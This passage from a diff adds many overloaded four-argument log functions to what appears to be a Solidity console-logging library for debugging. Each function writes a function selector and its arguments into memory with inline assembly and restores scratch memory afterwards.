+            m4 := mload(0x80)
+            // Selector of `log(bool,address,uint256,address)`.
+            mstore(0x00, 0x136b05dd)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,uint256,bool)`.
+            mstore(0x00, 0xd6019f1c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,address,uint256,uint256)`.
+            mstore(0x00, 0x7bf181a1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, address p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,uint256,string)`.
+            mstore(0x00, 0x51f09ff8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,string,address)`.
+            mstore(0x00, 0x6f7c603e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,string,bool)`.
+            mstore(0x00, 0xe2bfd60b)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,address,string,uint256)`.
+            mstore(0x00, 0xc21f64c7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, address p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,address,string,string)`.
+            mstore(0x00, 0xa73c1db6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,address,address)`.
+            mstore(0x00, 0xf4880ea4)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,address,bool)`.
+            mstore(0x00, 0xc0a302d8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,address,uint256)`.
+            mstore(0x00, 0x4c123d57)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,address,string)`.
+            mstore(0x00, 0xa0a47963)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,bool,address)`.
+            mstore(0x00, 0x8c329b1a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,bool,bool)`.
+            mstore(0x00, 0x3b2a5ce0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,bool,uint256)`.
+            mstore(0x00, 0x6d7045c1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,bool,string)`.
+            mstore(0x00, 0x2ae408d4)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,uint256,address)`.
+            mstore(0x00, 0x54a7a9a0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,uint256,bool)`.
+            mstore(0x00, 0x619e4d0e)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,bool,uint256,uint256)`.
+            mstore(0x00, 0x0bb00eab)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, bool p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,uint256,string)`.
+            mstore(0x00, 0x7dd4d0e0)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,string,address)`.
+            mstore(0x00, 0xf9ad2b89)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,string,bool)`.
+            mstore(0x00, 0xb857163a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,bool,string,uint256)`.
+            mstore(0x00, 0xe3a9ca2f)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, bool p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,bool,string,string)`.
+            mstore(0x00, 0x6d1e8751)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,address,address)`.
+            mstore(0x00, 0x26f560a8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,address,bool)`.
+            mstore(0x00, 0xb4c314ff)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,address,uint256)`.
+            mstore(0x00, 0x1537dc87)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(bool,uint256,address,string)`.
+            mstore(0x00, 0x1bb3b09a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,bool,address)`.
+            mstore(0x00, 0x9acd3616)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(bool,uint256,bool,bool)`.
+            mstore(0x00, 0xceb5f4d7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(bool p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
